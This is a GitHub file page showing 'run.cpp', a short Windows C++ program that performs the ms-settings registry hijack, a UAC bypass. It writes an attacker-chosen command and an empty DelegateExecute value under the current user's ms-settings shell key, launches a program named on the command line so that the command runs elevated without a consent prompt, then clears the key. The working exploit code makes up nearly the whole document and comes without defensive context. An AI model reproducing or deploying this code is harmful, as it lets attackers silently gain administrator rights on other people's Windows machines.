-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrun.cpp
More file actions
29 lines (29 loc) · 933 Bytes
/
run.cpp
File metadata and controls
29 lines (29 loc) · 933 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <windows.h>
#include <string>
using namespace std;
// Author:Vahab Programmer https://github.com\Vahab-Programmer
// Version: 0.0.2
void setreg(const char addr[],const char value[],const char name[]){
HKEY key;
RegCreateKey(HKEY_CURRENT_USER,addr,NULL);
RegOpenKey(HKEY_CURRENT_USER,addr,&key);
RegSetValueEx(key,(LPCSTR)name,0,REG_SZ,(const ::byte*)value,strlen(value)+1);
RegCloseKey(key);
};
int main(int argc,char **argv){
if (1==argc) return 1;
const char ra[48]="Software\\Classes\\ms-settings\\shell\\open\\command";
string base="cmd /C start ";
string exec;
for (int i=2;i < argc;i++){
exec =exec + argv[i];
exec =exec + " ";
};
string command=base+exec;
string cmd=base;
cmd+=argv[1];
setreg(ra,"","DelegateExecute");
setreg(ra,command.c_str(),"");
ShellExecute(NULL,"open",argv[1],NULL,NULL,SW_SHOWNORMAL);
setreg(ra,"","");
}